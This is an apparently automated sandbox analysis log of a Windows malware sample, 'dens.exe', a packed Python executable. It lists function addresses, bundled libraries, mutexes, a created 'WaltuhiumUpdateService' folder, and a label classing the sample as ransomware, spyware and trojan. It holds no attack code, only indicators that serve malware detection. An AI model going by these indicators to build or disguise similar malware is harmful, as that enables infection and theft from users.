Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C0F1000	1_2_00007FF62C0F1000
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C116964	1_2_00007FF62C116964
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C115C00	1_2_00007FF62C115C00
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C101D54	1_2_00007FF62C101D54
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C10E570	1_2_00007FF62C10E570
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C1035A0	1_2_00007FF62C1035A0
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C109EA0	1_2_00007FF62C109EA0
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C115E7C	1_2_00007FF62C115E7C
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C10DEF0	1_2_00007FF62C10DEF0
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C119728	1_2_00007FF62C119728
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C101740	1_2_00007FF62C101740
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C101F60	1_2_00007FF62C101F60
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C108794	1_2_00007FF62C108794
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C0F9800	1_2_00007FF62C0F9800
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C111874	1_2_00007FF62C111874
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C1140AC	1_2_00007FF62C1140AC
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C1080E4	1_2_00007FF62C1080E4
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C1108C8	1_2_00007FF62C1108C8
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C101944	1_2_00007FF62C101944
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C102164	1_2_00007FF62C102164
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C1039A4	1_2_00007FF62C1039A4
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C0F89E0	1_2_00007FF62C0F89E0
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C10DA5C	1_2_00007FF62C10DA5C
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C0FA2DB	1_2_00007FF62C0FA2DB
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C101B50	1_2_00007FF62C101B50
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C116418	1_2_00007FF62C116418
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C102C10	1_2_00007FF62C102C10
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C1108C8	1_2_00007FF62C1108C8
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C113C10	1_2_00007FF62C113C10
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C0FA47B	1_2_00007FF62C0FA47B
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C0FACAD	1_2_00007FF62C0FACAD
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C105D30	1_2_00007FF62C105D30
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAA512F0	1_2_00007FFDFAA512F0
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAA51880	1_2_00007FFDFAA51880
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFABD2A20	1_2_00007FFDFABD2A20
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFABED030	1_2_00007FFDFABED030
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB89CB0	1_2_00007FFDFAB89CB0
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFABF4D90	1_2_00007FFDFABF4D90
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB89260	1_2_00007FFDFAB89260
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB92210	1_2_00007FFDFAB92210
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB73BF0	1_2_00007FFDFAB73BF0
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB8CBF0	1_2_00007FFDFAB8CBF0
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFABD4BF0	1_2_00007FFDFABD4BF0
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFABC6C10	1_2_00007FFDFABC6C10
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFABDBBD0	1_2_00007FFDFABDBBD0
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB79B80	1_2_00007FFDFAB79B80
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB868E0	1_2_00007FFDFAB868E0
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFABDC910	1_2_00007FFDFABDC910
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFABE28B6	1_2_00007FFDFABE28B6
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFABE7860	1_2_00007FFDFABE7860
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB7286E	1_2_00007FFDFAB7286E
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFABB5890	1_2_00007FFDFABB5890
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB7F9A0	1_2_00007FFDFAB7F9A0
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB99980	1_2_00007FFDFAB99980
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFABB4E80	1_2_00007FFDFABB4E80
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB97020	1_2_00007FFDFAB97020
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAC0CFF0	1_2_00007FFDFAC0CFF0
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB98000	1_2_00007FFDFAB98000
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFABCCD00	1_2_00007FFDFABCCD00
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB7BCC0	1_2_00007FFDFAB7BCC0
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFABACC79	1_2_00007FFDFABACC79
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFABC0DB0	1_2_00007FFDFABC0DB0
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAC08DD0	1_2_00007FFDFAC08DD0
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFABFADD0	1_2_00007FFDFABFADD0
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB80D70	1_2_00007FFDFAB80D70
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAC22D90	1_2_00007FFDFAC22D90
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFABCBD80	1_2_00007FFDFABCBD80
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB9DD90	1_2_00007FFDFAB9DD90
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB8C330	1_2_00007FFDFAB8C330
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFABBF340	1_2_00007FFDFABBF340
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB9F2E0	1_2_00007FFDFAB9F2E0
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB9D2F0	1_2_00007FFDFAB9D2F0
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB77316	1_2_00007FFDFAB77316
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB732D5	1_2_00007FFDFAB732D5
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFABD7420	1_2_00007FFDFABD7420
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFABFA430	1_2_00007FFDFABFA430
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAC34440	1_2_00007FFDFAC34440
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFABFC0F0	1_2_00007FFDFABFC0F0
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB74100	1_2_00007FFDFAB74100
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB8D250	1_2_00007FFDFAB8D250
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAC25180	1_2_00007FFDFAC25180
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB82190	1_2_00007FFDFAB82190
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFABCE740	1_2_00007FFDFABCE740
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFABCB670	1_2_00007FFDFABCB670
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB7A850	1_2_00007FFDFAB7A850
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB74800	1_2_00007FFDFAB74800
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFABD0790	1_2_00007FFDFABD0790
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFABBA540	1_2_00007FFDFABBA540
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB74550	1_2_00007FFDFAB74550
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB794C0	1_2_00007FFDFAB794C0
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFABE4480	1_2_00007FFDFABE4480
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAC15630	1_2_00007FFDFAC15630
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB83600	1_2_00007FFDFAB83600
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFABA15A0	1_2_00007FFDFABA15A0
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB9E5A0	1_2_00007FFDFAB9E5A0
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAB94560	1_2_00007FFDFAB94560
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 82_2_00007FFD9A2800AD	82_2_00007FFD9A2800AD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 82_2_00007FFD9A284FD3	82_2_00007FFD9A284FD3

Source: C:\Users\user\Desktop\dens.exe	Code function: String function: 00007FF62C0F2710 appears 104 times
Source: C:\Users\user\Desktop\dens.exe	Code function: String function: 00007FFDFABA1E20 appears 33 times
Source: C:\Users\user\Desktop\dens.exe	Code function: String function: 00007FFDFAB79330 appears 135 times
Source: C:\Users\user\Desktop\dens.exe	Code function: String function: 00007FF62C0F2910 appears 34 times
Source: C:\Users\user\Desktop\dens.exe	Code function: String function: 00007FFDFAB7A490 appears 162 times

Source: _overlapped.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: api-ms-win-core-processenvironment-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-interlocked-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-util-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-stdio-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-errorhandling-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-console-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-process-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-timezone-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l2-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-debug-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-string-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-handle-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-2-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-profile-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-localization-l1-2-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-datetime-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-math-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-locale-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-time-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-1.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-utility-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-namedpipe-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-filesystem-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-rtlsupport-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-conio-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-heap-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-convert-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-runtime-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-string-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-2-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-memory-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-sysinfo-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-libraryloader-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: python3.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-heap-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-environment-l1-1-0.dll.0.dr	Static PE information: No import functions for PE file found

Source: dens.exe, 00000000.00000003.1666268915.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1666599668.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1664725190.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1666196697.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1665506325.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1666130356.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1665849743.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1662792406.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_overlapped.pyd. vs dens.exe
Source: dens.exe, 00000000.00000003.1663365617.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_wmi.pyd. vs dens.exe
Source: dens.exe, 00000000.00000003.1661110438.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs dens.exe
Source: dens.exe, 00000000.00000003.1663980456.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1666519024.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1665921025.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1662307242.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs dens.exe
Source: dens.exe, 00000000.00000003.1672986256.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepyexpat.pyd. vs dens.exe
Source: dens.exe, 00000000.00000003.1691479731.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs dens.exe
Source: dens.exe, 00000000.00000003.1662173318.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs dens.exe
Source: dens.exe, 00000000.00000003.1666675608.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1664590602.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1666061436.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1691107697.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameucrtbase.dllj% vs dens.exe
Source: dens.exe, 00000000.00000003.1663850239.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1665572074.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1664185093.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1664454967.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1663915027.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1662453626.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs dens.exe
Source: dens.exe, 00000000.00000003.1672249137.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibsslH vs dens.exe
Source: dens.exe, 00000000.00000003.1665639486.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1665989863.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1661942418.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs dens.exe
Source: dens.exe, 00000000.00000003.1664523044.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1665300726.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1665234767.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1666432610.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1662552489.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs dens.exe
Source: dens.exe, 00000000.00000003.1664254134.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1665779625.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1665091592.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1665368820.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1676466121.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs dens.exe
Source: dens.exe, 00000000.00000003.1665022014.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1662659826.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_multiprocessing.pyd. vs dens.exe
Source: dens.exe, 00000000.00000003.1664318244.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1664117143.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1673118322.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepython3.dll. vs dens.exe
Source: dens.exe, 00000000.00000003.1664659823.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1662872002.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs dens.exe
Source: dens.exe, 00000000.00000003.1663046330.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs dens.exe
Source: dens.exe, 00000000.00000003.1665157382.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1663178145.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs dens.exe
Source: dens.exe, 00000000.00000003.1661560840.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_asyncio.pyd. vs dens.exe
Source: dens.exe, 00000000.00000003.1690034883.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs dens.exe
Source: dens.exe, 00000000.00000003.1665435710.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1664385796.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1663289848.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_uuid.pyd. vs dens.exe
Source: dens.exe, 00000000.00000003.1661475799.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140_1.dllT vs dens.exe
Source: dens.exe, 00000000.00000003.1666353635.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1664047310.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe, 00000000.00000003.1662940240.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs dens.exe
Source: dens.exe, 00000000.00000003.1665708925.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs dens.exe
Source: dens.exe	Binary or memory string: OriginalFilename vs dens.exe
Source: dens.exe, 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs dens.exe
Source: dens.exe, 00000001.00000002.2057481054.000002D9AA8E0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamepython3.dll. vs dens.exe
Source: dens.exe, 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs dens.exe

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: C:\Users\user\Desktop\dens.exe	Process created: Commandline size = 3647
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615
Source: C:\Users\user\Desktop\dens.exe	Process created: Commandline size = 3647	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615

Source: classification engine

Classification label: mal100.rans.spre.phis.troj.spyw.evad.winEXE@144/329@5/7

Source: C:\Users\user\Desktop\dens.exe

File created: C:\Users\user\AppData\Local\WaltuhiumUpdateService\

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1076:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3428:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6340:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5296:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2416:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4464:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3220:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1136:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2908:120:WilError_03
Source: C:\Users\user\Desktop\dens.exe	Mutant created: \Sessions\1\BaseNamedObjects\W
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2496:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3624:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8048:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6848:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4852:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8136:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1312:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5960:120:WilError_03

Source: C:\Users\user\Desktop\dens.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI62482

Jump to behavior

Source: dens.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

